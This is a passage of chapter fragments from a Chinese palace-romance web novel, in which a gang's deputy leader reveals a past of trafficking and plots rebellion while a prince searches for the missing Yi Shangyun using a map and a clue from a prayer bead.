“美人…你都知道了?”龙恩闻此大惊失色道。

龙烨冷哼一声,对其气道;“哼,大哥。不是我说你,你怎么能这样做呢?你这样真是让兄弟们太失望了。整天说什么我们骁龙会乃是正义之

第二百七十六章:“龙”姓之谜

龙烨气急败坏地厉声将其打断道:“住嘴,不要再说了,凭什么他可以为所欲为,本帮主却只能去窑子里找那些残花败柳,庸脂俗粉。本帮主就不能也找个黄花闺女玩玩吗?你说...是不是连你也看不起本帮主。好,你滚,马上给我滚回你的后山去,再也不准回来,滚!”

“副帮主息怒,副帮主息怒!”手下见其胸中的一团小小火苗已然被自己添油加醋,煽风点火将其彻底点燃,扑通一声跪了下来。

龙烨隐忍着,道:“亏的我还在帮主面前替你遮掩,若不是看在你还有点用处,能帮本帮主出谋划策,本帮主前几日才不会救你,索性让那帮真正毫无人性的马贼将你乱刀砍死在荒郊野外里最好不过了。”

“副帮主的救命之恩,属下没齿难忘,此生惟以副帮主马首是瞻,共创大业,绝无二心。”那手下抱拳俯首着信誓旦旦诚恳地道。

龙烨侧着身轻描淡写地瞟了他一眼,吐了口浊气,沉声道:“好了,念在你对本帮主还算是真心,本帮主就暂且留着你的性命,起来吧!”

“谢副帮主,那副帮主打算……”手下起身来,兀自又小心翼翼怯怯地探问。

龙烨边走边若有所思地捋了捋那嘬八字须,最后半眯起眼睛来意味深长地对其说道:“哼,这么多年了,看来本帮主真是高看了他了。原来他并不是不近女色,本帮主差点儿就被他给骗了,当真还以为他如此重情重义,对旧人念念不忘,原是他根本就是看不上平日里的那些野花野草啊。警告说谁‘多行不义必自毙’呢?自己都一意孤行如此行事,又如何能服众,简直就是自取灭亡。成日里畏畏缩缩地,久久不敢举事,说什么时机未到。本帮主就不信了,那西秦守护者,左不过也是一个平凡的凡胎肉体而已,究竟能有多神,还真能死而复生不行。没了他龙恩,我龙烨真的就撑不起这个偌大的骁龙会,坐不上西秦国的那张龙椅了吗?”

转眼间,俩人已踱步进到了西院里龙烨的屋内。一进屋,手下便忙着去斟茶。

闻此,他心里顿时一惊,默了会儿,方才将斟好的一碗山茶双手向其奉上,似是心中有些甚为不解地压低了声音问道:“属下有一事不明,有道是‘本是同根生,相煎何太急’,既然副帮主与帮主乃是一奶同胞的亲兄弟,一起坐拥天下,共享富贵又有何妨,却为何会如此针锋相对,以至于竟还想要灭了他呢?”

岂料龙烨一听到这话,顿时将那正欲靠近嘴边的茶碗咚的一声重重地落在手边的桌案上,咆哮大怒起来道:“鬼才跟他是亲兄弟呢!哼,不要以为我龙烨随了他的姓,此生便就会真的把他当回事儿!若是真的惹怒了老子,老子谁都

不认!”

“原来副帮主本不姓‘龙’?”手下惊声道。

闻此,龙烨的脸上忽然浮起一抹黯然,叹了一声:“是啊,本帮主到底姓什么呢?本帮主自己竟似乎都忘记了!”

岁月匆匆,时光荏苒。转眼竟已是十几年的时间都过去了,而在这个世上,竟会有人差点儿都快要忘记了自己姓什么。

于是,龙烨一边回忆着,一边入神地幽幽说道:“本帮主以前,乃是城南一大户人家里的管家……”

“哦?原来副帮主以前竟也曾有过正经的营生呢!可后来,又怎么会做起这叛逆之事呢?”话未说完,手下便不解地将其打断道。

龙烨哼了一声,继续道:“有一日,那户人家里唯一的一位少爷外出求学回来说,自己在外面看上了一户小门小户人家里的女子。且已经与其私定了终身,生米煮成熟饭了。可那老爷夫人早就已经为爱子费心费力地张罗好了尤为美满,甚是门当户对的一门亲事,只待其求学归来便择日完婚了。那老爷听了这事儿,当场便被气的吐了血,从此缠绵于病榻之上,一病不起。后来,那老夫人苦口婆心,又是禁足,又是禁食的,无论怎么说服儿子都不能将其心意改变半分。最后,百般无奈之下,便将这烫手的山芋交给了本帮主去处理。”

“那副帮主是如何处理此事的?那老夫人可曾有明示?”生冷面孔的手下问。

龙烨抿了口茶,继续道:“那老夫人虽一女流之辈,然心肠却颇为歹毒。为了让自己的儿子和他们所默许的门当户对的小姐成亲,她下令本帮主,不惜一切代价也要让那户人家在城南里消失的无影无踪。”

“要她们消失的无影无踪...你...杀了那女子满门?”手下惊恐地猜测着道。

龙烨苦笑道:“满门?你所谓的满门,只不过是一穷苦老儒外加一个外孙女而已。况且那时候,本帮主还没有那么大的杀心,便将那...将那女子给卖了?”

“卖了?卖给大户人家做使唤丫头?”手下惊问。

龙烨沉默了会儿,道:“年轻的时候,本帮主贯爱赌博与美色,听说城南万娇阁里美女如云,便去转

第二百七十七章:他,不像是坏人

就在兰香使出浑身解数来将那冷面手下步步逼退,直至到门口的一角落上,其后背已然紧贴着墙角再也不得动弹半分,却还跃跃欲试着似是仍未见其有半分停下来的念头。

而那冷面手下面对着眼前如此极具诱惑的一双媚眼以及那张烈焰红唇,再加上其肢体似是颇为熟练的故意挑逗,更是令他似是都快要喘不过气来。

就在那团熊熊欲火正蔓延焚烧着他那身体里已仅剩不多的越来越脆弱的一丁点儿理智,眼看着就要被其彻底打败时,忽然,冷面手下似是已经僵硬了的一只手里所捧着的方才从兰香的手里所接过的热水壶,不知不觉中被自己碰倒在了手边的案几上。

刹那间,水壶里的热水倾倒了下来,随即发出咕咚咕咚的声音,不断流淌出来洒了一地,幸好那冷面手下眼疾手快地将水壶嗖地扶起,方才没有使其从案几上掉到地面,发出更为响亮的声音来。

这时,忽然飘出来内屋里龙烨的声音,似是已发觉了屋外细微的动静,厉声问道:“发生了什么事?”

闻此,兰香全身的动作和脸上的表情忽然间全都一起僵住嘎然而止,只似是亦有些不知所措地与那冷面手下面面相觑着。

然很快,她便回过了神来,故作一脸镇定地再次挂上那谄媚的笑容,正欲开口回话,岂料那冷面手下却先其一步霎时伸出一手紧紧地揽住了其纤纤腰肢,继而又迅速地在原地里一个急转身,便轻而易举地反将兰香给逼到了墙角,与此同时,他又飞快地伸出另一只手来死死地捂住了兰香绵软的红唇。

此时此刻,屋外的一男一女俩个人就这样怔望着彼此多多少少都已有些迷离的眼眸,俩人瞬间距离竟如此之近,近的似乎都能听到彼此欢快的心跳与急促的呼吸声。

那冷面手下几乎是贴着兰香的身体侧脸对着内屋里回话道:“没事,属下不小心将案上的热水壶碰倒了,没有热水了,属下这就马上重新取来,副帮主先歇一会儿吧,属下稍后再来伺候。”

话音刚落,冷面手下便将其揽在兰香腰肢上的那只手迅速地移到了其胳膊上,另一手则仍堵着其嘴巴,继而便匆匆忙忙地将其架着一路推出了西院去。

待到了一安全的角落里,一座隐蔽的凉亭中方才松了手。

岂料兰香刚一从其的禁锢之中被松了开来,甩到角落里,便一边揉捏着吃痛的胳膊,一边对其扬声破口大骂道:“你究竟是什么人?竟敢对本姑娘如此无理。为什么要阻止本姑娘,不让我亲自见副帮主一面与他请安呢,你究竟是何居心?”

“你问我是何居心?我还想问你又是安的什么心呢?你果真只是为了想跟副帮主请安吗?”冷面男子双手环胸,伟

岸地立在一边,冷冷地反问其道。

闻声,兰香蹙眉斜起眼来,气呼呼地瞄了眼那男子深邃而又犀利的眼眸,不知为何,竟忽然心虚了起来,支支吾吾地说道:“我…我是何居心,与你何干?要你管啊!”

冷面手下听了冷哼一声,对其似是不屑地警告道:“我不管你是为了什么目的才想要接近那个人的,但是,你若是还想活命的话,最好离这个人远一点儿。否则,到了最后…吃亏的一定是你。”

极为严肃地将话刚一说完,那冷面手下便兀自转过身去欲要踱步离开,然刚走出没两步,却忽又顿足下来背对着其最后叮嘱了一句道:“对了,在这里,你最好收起你的那套本事来,不要引火自焚。”

“你说什么呢?收起我的什么本事?什么引火自焚?”闻此,兰香瞬间朝其背影放眼过去,嘴巴张的愈来愈大,气急败坏地明知故问道。

“哼!姑娘好自为之吧!”岂料那冷面手下却竟又是轻蔑极了地一声冷哼道,继而便兀自离去,再也没有回头。

望着冷面手下渐渐远去的背影,她破口大骂道:“你这个人究竟是怎么回事儿嘛?神经病啊!”

继而便扑通一声,重重地跌坐在了凉亭里的石凳上。

然一静下心来,想起方才自己在西院里亲耳所听到的一切,她忽然觉得自己就像是做梦一般,竟莫名地流起了泪来,兀自纳闷着口中自言自语地低声喃喃道:“天下怎么会有与我命运如此相似的一个人,还是...不,这不可能,不可能这么巧!难道是...骁龙会的那位副帮主龙烨便是二郎家当年的那位管家?也正是他昧着良心将我卖到了那不见天日的万娇阁里饱受凌辱?原来,当年所发生的一切,事实竟是这样的。呵呵...呵呵呵...有道是‘天理昭彰,报应不爽’,老天可真是开眼啊!”

一念至此,兰香一边冷笑着说道,一边缓缓捉起衣袖来漫不经心地抹掉了脸庞的泪水,似是心里已有了打算,便兀自起身来朝着茶室方向踱步回了去。

其一脚刚迈入茶室的门,正握着一把蒲扇生火准备煮茶的燕儿一脸焦急地问道:“兰香姐,你这是去哪儿了呀,燕儿都找了你半天了,你怎么才回来啊,燕儿都担心死了!”

“我...我只不过是去西院里送

第二百七十八章:暖心的补汤

听了燕儿不离不弃饱含温馨的话语,兰香心里顿时一激动,猛地朝其扑了过去,一把将燕儿紧紧地拥在怀里,含泪沉声说道:“可是你若陪我留在这里,又怎么找你家小姐的下落呢?”

燕儿亦没有再拒绝她,默了会儿,眼睛看向了茶室外空旷院落里的一片明媚春色,却道:“兰香姐,其实…不知道为什么,燕儿总觉得这里好像有我家小姐的气息。小姐她似乎离燕儿很近,很近……”

“傻燕儿,你家小姐怎么可能在这里呢?我们已经在这里许多时日了,这个鬼地方除了我们俩个女子,剩下的可就都是那些看守我们的土匪强盗了啊!你可能是太紧张,太思念你家小姐,所以产生幻觉了吧!来,坐这儿歇一会儿,不要太担心了。所谓‘雁过留痕,人过留声’,目前对咱们来说,没有消息便就都是好消息。相信你家小姐吉人天相,一定会逢凶化吉的。再说了,不是还有秦王殿下源源不断地派来的大队人马亦在到处里寻找衣姑娘嘛,放心吧,嗯?”兰香捉着燕儿的肩头,挑了挑眉劝道。

燕儿眉头紧蹙,看着兰香的眼睛半晌,终于轻轻的对其点了点头,继而便被兰香牵着小手落座在一旁的长凳上稍作歇息。

兰香倒了碗热水将其递到燕儿的手里,安慰道:“燕儿你放心。待我很快处理完了那件事情,一定会马上带你离开这里,继续去找衣姑娘的。”

闻此,欢儿终于展颜开来,兰香见了亦对其淡淡地笑了笑,转念又好奇地问:“对了,据传灵空战神,西秦秦王冷若冰霜,不近女色,是个神一般存在着的人物,你家小姐的出身虽不似我们这些贫民,但也只不过是一小小宫廷药师家的女子,且还被人退过亲,长相嘛,又……倒是不知她究竟有何本事,如何能让这样一位睥睨天下的尊贵王爷如此看重。秦王殿下似乎…对你家小姐可不是一般的好啊!就算你家小姐即将成为秦王府上的一名医女,也不至于让秦王府的主子如此兴师动众,大张旗鼓地满天下寻人吧!如今,秦王府丢了医女的消息可是震惊了整个灵空大陆呀。别人也许会相信是秦王为了秦王妃所为,然我可是亲眼见过秦王和你家小姐的人。从他们俩的一举一动来看,他们之间肯定有问题。喂,小丫头,你就跟我讲讲呗!”

兰香坐在燕儿的身旁说完这段话,胳膊蹭了蹭燕儿的臂膀。

岂料燕儿却瞬间跳起,勃然大怒道:“哼…那个可恶至极的西秦学院陆少主,他算是个什么东西啊。忘恩负义,当年若不是我家老爷和夫人不辞劳苦,日夜兼程赶去帮他母亲生产,他岂能活着来到这个世上。退婚…哼…如今看来小姐醒来的时候说得极对,也正合燕儿之意,他

根本就配不上我家小姐。燕儿相信,我家小姐善良又聪明,命里一定会有这世间最好的男儿来相配。”

看到燕儿小小身躯里突然爆发出来的这般强大怒气,兰香不禁惊呆了。

于是,俩个女子就这样在茶室里一边烹煮,一边兴致盎然地热聊了起来……

夜色如墨,月华似水,城东秦王府里,到处一片灯火通明,阵阵春花暗香浮动。

秦王亲自出马,果然很快便平息了西秦国内的四方躁动。

原来,其中居多数所谓的反贼无非就是些因为地方上不作为的官员欺上瞒下,颠倒是非黑白,造成了冤假错案,置百姓生死于不顾,仗着自己在朝里的保护伞,欺压百姓,逼民造反。

于是,该惩治的惩治,应抚慰的给予其最大的抚慰,而需上报的则一个也不放过。百姓心里舒服畅快了,没有怨言了,自然也就不再与朝廷为敌。秦王不愧为百姓的秦王,所到之处,无不对其拍手叫好的。

此举无可厚非再一次又使其威震朝野,令璟帝又对其更多心生了一丝畏惧和防范。

而此时,主仆俩方才一起踏着月色马不停蹄地从皇宫里刚刚赶回到府中。

一下马来,轩辕翰便径自朝着林月轩寝殿里急急奔去,褪下了一身戎装,换作一袭锦白长袍后。身体虽然很累,然愁绪却似是更长。其实甚至就连他自己亦早已忘记了曾几何时起,便已是如此,几乎每日都是夜不能寐,食不甘味。

索性,便又起身来,出门踏进了承华殿里。

原本生来注定就是这样枯燥无味的戎马生涯,这般孤独无趣又清冷的一个人。而现在,却因为另一个灵魂的出现而变得渐渐温暖了起来。

人生,似乎不该总是只顺从和接受命运的安排,原来再孤独,再冰冷的灵魂,也会遇到那个让他愿意为之而做出任何改变的人。

进入承华殿一落座下来,便从袖子里似是习惯性地拿出了那个日日夜夜,甚至就连用膳,就寝亦一直无时不刻地揣在自己身上的宝蓝色香囊,捧在手里对着其发起呆来。

&nb

第二百七十九章:灵儿识地图

就在张嬷嬷正生气地收拾着汤碗准备离去之时,轩辕翰忽然一脸严肃地默默对其开口说道:“张嬷嬷,本王知道你想说什么。其实,本王正想问问你,不知你觉得城西衣府的嫡女如何?母妃生前,你是最知她的喜好与心意的人。”

闻此,张嬷嬷忽然顿足愣住,停下手里的动作,一时间竟都反应不过来那久久回荡在自己耳边的声音究竟是从哪里发出来的一般。

许久后,直到听见那熟悉的不能再熟悉的声音再次在她的耳畔边一声声响起,呼唤她道:“张嬷嬷,张嬷嬷!”

至此,她方才忽地回过神来却似是深感极不真实地向其惊问确认道:“方才殿下说什么?老奴没听错吧,殿下是在说一个姑娘吗?…这么多年了,殿下还是第一次如此认真地与老奴说起一个姑娘呢!殿下说的是谁?哦,对了,‘城西衣府嫡女’...衣姑娘?”

张嬷嬷吃惊地凝视着他的眼睛连连自言自语地道,轩辕翰也终于深吸了口气,望着面前案几上的那个宝蓝色香囊,轻轻地点了点头,一双炯目顿时浮现出一丝从未有过的隐隐温柔之色。

见此,张嬷嬷的眼里竟顿时闪烁起泪花来,一边用衣袖去抹,一边又喜极而泣地道:“殿下,你终于...终于…太妃娘娘……”

张嬷嬷终是激动地再也说不出话来,千言万语到最后只不过哽咽着呼唤了一声她的主子。

此刻,似是这些年来她心里对眼前这个小主子所有的担忧终于得到了释然一般,满心欢喜地对其连连道好:“好,好,好…只要殿下喜欢,太妃娘娘也一定会喜欢的。衣姑娘是个好姑娘,也是个可怜的孩子。唉,这个陆贤呐,老身看他真是老糊涂了,也不知道怎么教育家里的那对活祖宗的。儿子,女儿,俩个竟都没有一个像话成器的。就连衣姑娘那么好的一个女子也瞧不上,还纵容那逆子不知礼义廉耻,忘恩负义地亲自上衣府去退亲。惹得满城风雨不说,这叫人家一个未出阁的大姑娘以后还怎么嫁人呢?”

闻此,轩辕翰方才还好好挂在脸上的一片柔色,忽然间尽数褪去,张嬷嬷一见忙对着自己的嘴巴狠狠拍了两下,着急地解释道:“殿下勿怪,老奴不是有意的,老奴只是一时心急口快,殿下莫要上心。其实,城西衣府的衣姑娘虽说其出身,名声及长相是有些…不过,接到王府里来做个侧妃,倒也罢了。”

其实,纵使心里再多喜欢,然在思想陈旧的张嬷嬷心底,对于衣上云这样一个被退过婚,又出身卑微的女子,多多少少还是有些轻视的。

毕竟,她的小主人可是含着金汤匙出生的。自小锦衣玉食,更是被她的主子太妃娘娘以及先帝曾经捧在手心里长大的。

这本来就是门不当,户更亦不对的一场际遇。

然对于轩辕翰与衣上云之间所发生的点点滴滴,对于看遍了人世间太多种男欢女爱的张嬷嬷来说,自也是心知肚明的。

但只要这个主子能像个正常人一般开始生活,偌大的秦王府能得以后继有人,她又有什么不能退让和接受与成全的呢?

就在俩主仆难得交心的一场谈话因此而突然陷入僵局之时,手里正拿着一卷地图进来的程良驻足在门口听到了张嬷嬷的话,又一见主子脸上忽然挂起的似是比以往还要冰冷渗人几分的脸色,便瞪着眼睛悄悄地对张嬷嬷使了个眼色。

张嬷嬷一见,正惶惶不安,小心翼翼地准备拾起汤碗来悄悄退下,岂料轩辕翰却突然扬声开口,信誓旦旦地认真说道:“本王不管这个世界怎么对她,世人又如何看她,本王都不会委屈她半分,本王此生要定了她。不但要她,而且要三书六娉,明媒正娶,让她光明正大,风风光光地迈入秦王府大门,做本王唯一的秦王妃,与本王执子之手,与子偕老。”

闻此,已近身到其身旁来的程良和旁边捧着汤碗的张嬷嬷俩人顿时不约而同地瞪大了眼睛,互相面面相觑起来。

然轩辕翰却深吸了口气,兀自又将目光瞪向了程良的身上。程良一被此寒光四射的眼神射中,便忙将手中的地图画卷拿出,摊开在其面前那张乌亮的沉木案几上。

这时,进门请安后一直独自躲在大殿里四周到处爬上爬下,自己找乐子玩的小灵儿似是早已百无聊赖,对承华殿里的一切都失去了兴趣。忽然转身将目光移向了轩辕翰正在摊开来看的一纸奇怪记号上。

于是,便摇摇晃晃着小身子悄悄地向其边上挪步了过去,默默地站在其对面亦似是饶有兴致地凝视了起来。

看了一会儿,忽然,灵儿伸出一只短小可爱又胖乎乎的手指头来,指着地图奶声奶气地好奇问道:“秦王殿下,你这是在看什么呀?这多好的纸张,上面怎么却被你画的乱七八糟的。灵儿在府里听人说,秦王殿下学识渊博,琴棋书画,武艺兵法无所不通,可这幅画看上去怎么一点儿也不好看呢!”

闻声,张嬷嬷这才忽地缓过神来,忙伸手勾了勾手指,同时开口召唤其道:“灵儿快过来,不要打扰殿下的公务。”

“不碍事的,灵儿,你过来。”岂料

第二百八十章:一颗紫檀佛珠

听了灵儿的话,轩辕翰亦是颇为疑惑地看着那接近于是一个桃花形小点的地方,忙开口叫来身旁的副将,道:“程良,快过来看看,这是什么地方,可有人居住?”

闻声,程良忙飞奔至前,仔仔细细地一边看,一边回想着,半晌后,说道:“这里…好像是有个叫做桃花店村的小村落,因为地处与南安国交界之处,所以,究竟是属于我西秦还是南安,至今都还尚未定论。”

就在这时,灵儿忽然挣开了轩辕翰的怀抱,急奔向张嬷嬷身边跑去,紧紧抱住张嬷嬷的腿,似是极为惊喜地道:“张嬷嬷,张嬷嬷,你可听到了?地图上的南边果然真的有个像朵桃花般的桃花店村耶!云姐姐一定是在那里!”

闻此,轩辕翰即刻一副惊异的眼神注视着灵儿与赵嬷嬷,问:“什么桃花,谁一定在那里?灵儿到底在说什么?”

赵嬷嬷忙伸手一把揽住了小灵儿的肩膀,替其解释道:“是这样的殿下,前段时间,灵儿在后院里玩耍,看到天空中飘着一朵雪白雪白,边上似是晕出了五朵像桃花花瓣的云彩。便说若北方的那朵云彩是她至今尚未归来的爹爹的话,那南方的那朵桃花云朵,便是失踪了的衣姑娘,因为她觉得只有衣姑娘才会像那朵桃花云那样美。这都是小孩子闹着玩的,许是平日里太想念他们了才瞎说的,殿下莫要听她胡诌当真了!”

轩辕翰正望着那片地形思索,岂料灵儿却顿时瞪大了眼睛看着张嬷嬷,大声与其争辩道:“不,灵儿才没有胡诌呢!不止如此,灵儿在梦里还梦到过云姐姐呢!她那里就和世外桃源一样地与世隔绝着,有一片极美极美的十里桃林。”

灵儿缓缓松开了附在张嬷嬷腿上的一双小手,嘟囔着小嘴,眉头微蹙着缓缓低下头去,又忧伤地说道:“可是,在那桃林深处,云姐姐...云姐姐却不记得灵儿了,无论灵儿跟她说什么,说奶奶,说张嬷嬷,说程将军,说秦王殿下……她都记不起来,呜呜呜…她只是对灵儿说,说她就要离开这里了…秦王殿下,云姐姐现在一定还在地图上的那点桃花之处,你赶快派人去找她回来啊,若是去晚了,以后可就再也难见到她了!呜呜呜……灵儿要云姐姐,灵儿要云姐姐,云姐姐……”

灵儿一想起自己的梦境,直伤心不住地呜呜大哭了起来。

见此,张嬷嬷赶忙蹲身下去帮其一边抹泪,一边安慰她道:“灵儿莫哭,梦都是反的,你云姐姐不会忘记你的。我们灵儿这么可爱,这么乖,这么听话,她怎么会舍得不认灵儿呢!不要哭了,不要哭了。来,看看张嬷嬷有什么,这个给小灵儿玩好不好?别哭了……”

小灵儿的哭声愈来愈撕心裂肺,

轩辕翰的心亦顿时被这哭声紧紧的揪住,一时间里又不知该如何哄劝,便和程良一起直怔在了原地里无助地看着其就这样凄惨地落泪不止,场面顿时一片混乱。

这时,张嬷嬷情急之下,忙伸手摘下了挂在她脖颈上,遮在衣裳里面的由一根绳子串着的一颗看起来似是其无论色泽还是质地都相当稀奇罕见的紫檀珠子来,将其递到了灵儿的手中。

看着灵儿捧着那颗紫檀珠子终于变作哽咽了起来,在场众人不禁终于都长长的舒了口气。

然这时,轩辕翰却怔望着灵儿手里的东西,满满一副若有所思的样子,他隐隐觉得那颗紫檀珠子看起来似是很眼熟的样子,像是曾在哪里见过。

“殿下若没有其他事情吩咐,老奴便带灵儿退下了。这孩子这两日身子有些不适,总爱哭闹,莫让她再惊扰到殿下了。”为防止灵儿待在这里再闹出什么事儿来,张嬷嬷便向主子俯身行礼,欲带其告退。

然轩辕翰却似是并未听到她所言一般,兀自缓缓站起了身来,直盯視着灵儿的手里,愣愣地走下台阶来,朝其径自踱步了过去。

待其近身终于将她手里捏着的那颗佛珠看的清清楚楚:在那颗久违了的紫檀珠子上,明明尚还保留着他小时候曾特意亲手替其母妃精心雕刻上去的佛经字迹,亦霎时间清清楚楚地记起父皇还因此而平生第一次夸奖了他。然如今,却早已是物是人非事事休。

一阵凄凉涌上心头,轩辕翰不禁顿时心中一惊,问道:“张嬷嬷,这颗紫檀珠子...你是从何处得来的?”

闻此,张嬷嬷忙从灵儿的手里又将那串珠子夺了回来,将其双手奉上到轩辕翰的面前,回道:“这颗珠子,殿下不记得了吗?当年太妃娘娘在宫里诞下殿下的时候,先帝曾特请城南城隍庙的得道高僧将此世间唯仅只有这一串的紫檀佛珠开过光后,赏赐给了太妃娘娘。太妃娘娘甚是稀罕,一直都爱不离手地随身带着。而老奴的这颗珠子,便是八年前太妃娘娘遭遇不幸的那夜里临睡前,娘娘在城隍庙里祈福祷告时不小心将佛珠给弄断了,尚还没来得及请师父修理,娘娘便……后来,老奴便擅自做主将这颗珠子留了下来,想做个念想,还望殿下勿怪!”

“那其他散落的珠子呢?为何只有这一颗?”轩辕翰不解地问。

张嬷嬷拭了拭已然有些湿润的双眼,答

第二百八十一章:本王将她们都还你,可好?

看到主子一听是衣上云的消息,竟先入为主地乱了自己的方寸,程良急忙解释道:“殿下息怒,玉娘所送来的消息说的不是衣姑娘,而是衣姑娘的丫鬟燕儿与兰香姑娘。她们俩不顾众人劝阻,沿着河道偷偷私自一直往南寻了去,已经与其失去联系已有多日了。”

闻此,轩辕翰方才那瞬间似被提至到嗓门口处的无比紧张,激动,又害怕的念想方才得以缓和了些许下来。

看着面前案几上所铺着的那张被自己亲手圈上去的一个个醒目红圈的地图,尔今还能支撑着他继续坚持寻找下去的唯一理由,怕就只有这不见任何消息传来的好消息了。

显然,在他的心底,对于寻找衣上云所报来的消息,是既盼,又怕。对于如此一个杀伐果决的战神秦王来说,他从未对一件事,一个人如此患得患失,迟疑害怕过。

于是,他心下里终于默默地松了口气,继而疑惑地问程良道:“衣府的丫鬟怎么会跟她们在一起?”

程良答道:“说是衣府见衣姑娘多日外出不归,便派衣上俊和丫鬟燕儿去城南万娇阁打听消息,恰巧半道上遇见的。得知衣姑娘出了事,衣上俊便先回府禀报,燕儿便留下与众人一起继续寻找衣姑娘了。”

“原来如此,那衣上俊现又在何处?”轩辕翰默了会儿,淡淡道。

“殿下您忘了?上次在衣府门前,殿下见衣上俊无所事事,便令他参军。如今,他正身处在军营里加强磨练呢!看样子,还不错,若是再假以时日,想必一定会成为将帅之才。”程良言语中带了些许惊喜地提醒其道。

闻此,轩辕翰的眼睛亦是微微抬起忍不住惊愣了一下,没想到这衣上俊倒是挺出乎他预料的,竟敢有勇气加入他的阵营,一点儿也不像他的父亲衣上坤那般中庸。

于是,他转念又问:“怎么这么不小心?那燕儿定是寻主心切才会至此,为何没有派人盯紧她?有没有派人去寻过?”

程良一边将信函递上,一边回道:“信里说燕儿是借口要和兰香去碧水湖附近再看看有没有遗漏的其他线索,因为距离并不是很远,所以大家也没有太在意。后来,到了天黑下来亦还不见俩人返回,出门一打听这才得知她们并未去碧水湖,而是一出门便雇了辆马车绕道一直向南寻了去。后来,那车夫见他们越走越远,说是已经快要到南安国的边境处,附近的人皆传说那里有个叫做‘骁龙会’的神秘组织,便不愿再继续往前。于是,俩人便下了马车兀自沿着河道自个儿寻了去。想必,燕儿和兰香,很有可能便是被这骁龙会的人给抓了。但骁龙会向来行事很小心谨慎,故派去寻她二人的人很难再打听到里面的消息。因为燕儿是衣姑娘的

贴身丫鬟,不得已玉娘只能书信来给殿下,请殿下定夺。”

“这骁龙会里究竟是些什么人,如此大胆,光天化日之下,竟敢强抢民女?”轩辕翰勃然大怒道。

这时,程良暗自纳闷思索着,口中喃喃道:“骁龙会,这个名字听起来怎么这么耳熟......”

只不过须臾,只见他似是突然想起来什么,眼睛一怔,继而忙开口说道:“殿下可曾还记得,前段时间咱们一一排查那些由各地官府所呈报上来的各地疑似叛党名单上的每个叛乱组织的时候,似乎也曾看到过骁龙会这个名字。“

闻此,轩辕翰急急撇了眼那书信中的‘骁龙会’三个字,稍加思索,忙道:“没错,你这样一说,本王倒也似是觉得的确在哪里见过‘骁龙会‘这三个字。”

轩辕翰一边说,一边闭起那双灿若星河的明眸来,急急回想着,脑海里忽然一个灵光闪过,一睁开眼来便道:“本王想起来了,当时因为唯独只有这个骁龙会不仅地处南安边境,且又尚未对朝廷闹出什么出格的乱子来。但为防止他日后成为漏网之鱼,故我们暂时只对其用了一场苦肉计,让我们的细作潜入了进去,伺机刺探其真正的组织内幕,以防止被动。”

程良一听,先是皱了下眉,继而立马惊喜地道:“对对对,就是这个骁龙会,这可真是够巧的啊!既然如此,不如,让属下现在立刻先去联系那个细作看看,想他一定有办法打探到燕儿与兰香的消息。”

话一说完,蓦然朝主子望了过去,正满心期盼着主子发话的程良却见其只顾放眼于案几上的地图,正集中注意力颇为认真地不知在看些什么,便亦好奇地向其凑近了过去。

然一看到那些令人触目惊心的一个个红色圆圈,霎时心里一股莫大的悲愤浮上心头,继而安慰主子道:“能得殿下如此挂念着,相信衣姑娘一定会好好活着的。”

然轩辕翰却似是并未听到他所说的话一般,只指着地图上南安国的北部边境线与桃花店村的位置来回移动着,认真地问程良道:“程良你看,骁龙会距离桃花店村的位置,是不是很近?”

程良闻声,顿时看着主子的侧脸,不解地问:“殿下的意思是……”

岂料轩辕翰并未回答程良的疑问,忽然飞快地卷起地图来。

程良一见,更惊异了几分地问道:“殿下您这是要做什么?”

正在说话间,轩辕翰已将地图卷

第二百八十二章:四海茶庄来信

闻此,张嬷嬷终是没能再继续隐忍住其心底的那份悲愤与不甘,牵着灵儿的手顿足住咬着牙深深地吸了口气,接着冷笑了一声,继而缓缓转过身去面带了一丝轻蔑的浅笑对其说道:“听闻世人皆传西秦学院陆贤的家教一向严苛,教出来的女儿甚是蕙质兰心,知书达礼,处事冷静,尽显大家闺秀之淑女风范,可……”

说着说着,她忽然停了下来,朝陆天骄的周身将其略打量了一番,继续道:“可如今,老身瞧着,怎么竟就如同是一条疯疯癫癫的丧门之犬一般呢!可是出门时忘记吃药了不成,还是根本早已就是死到临头,无须再暴殄天物了!”

话一至此,张嬷嬷早已收敛起笑容,口气亦变得强硬了起来更似是教训一般。

“你…你这个老奴才都是在说些什么?…你是不是疯了?”陆天骄闻此直朝其越来越瞪大了那双好看的美目,显然被张嬷嬷的这阵痛斥惊呆了。

张嬷嬷舒了口气,继续欲言又止道:“老身有没有疯,亦或到底是谁丧心病狂,干了那些丧尽天良的缺德事儿,你心里最是清楚不过了。这样也好,你我之间,以后不妨就都打开天窗说亮话,无需再遮遮掩掩。“

看到陆天骄脸上露出一抹心虚,张嬷嬷最后认真道:“陆小姐,好歹咱们也算是有缘相识了一场,老身不妨最后一次替那因你而枉死的太妃娘娘奉劝你一句‘天作孽,犹可违,自作孽,不可逭’,凡事都记得给自己留条后路。不然,没准儿哪天空中便突现起一道惊雷来,陆小姐便被这老天给收了!”

就在这时,黄昏时分的天空中霎时间真的发出来轰隆隆的一阵巨响,陆天骄心中一惊,不禁顿时被这滚滚雷声吓得连连后退了好几步方才停下,险些踉跄倒地。

待其忽一回过神来,看到张嬷嬷牵着小灵儿正转身欲要踱步离去,她猛地上前去将自己的整个身子都挡在了张嬷嬷的面前。

又迅速地伸出两只手来拽住其胳膊拼命地将其一边摇晃,一边面目狰狞地对其咆哮道:“你想要去哪里?你不准走,你还没告诉我,翰哥哥到底去哪儿了?你快告诉我,快告诉我啊!”

伴随着她声嘶力竭的这阵咆哮声,传出一阵甚为清脆的瓷器落地的声音。张嬷嬷年迈,平日里本就总是头晕眼花的,此时又哪里经得起她这般疯狂又大力地摇晃。只不过须臾,便已摇摇坠坠似是快要晕过去了。

这时,被其甩到一边的小灵儿吓得一边哇哇大哭,一边忙扑上去死死地拽住她的衣袖向其祈求道:“你是个坏姐姐,你放开张嬷嬷,快放开她,灵儿告诉你,秦王殿下去桃花店村找衣姐姐了。张嬷嬷已经快要晕倒了,求求你,快放开她啊!”

“什

么?那个贱蹄子竟然还没有死,她在桃花店村里,翰哥哥亲自去找她了……”闻此,陆天骄顿时瞪大了眼睛惊诧地看着灵儿的脸自言自语道。

随之,终于愣愣地慢慢松开了双手,继而一脸失魂落魄地朝向燕栖阁方向缓缓踱步而去。

只听到身后顿时传来哐嘡一声似是有人摔倒在地的声音和小女孩尤为凄惨的痛哭疾呼声:“张嬷嬷,张嬷嬷……”

待其双脚刚一迈入到燕栖阁的院内,一瘦弱的瓜子脸婢女一手背后着,另一手里握着一锭银子,正对其暗自一脸窃喜着。

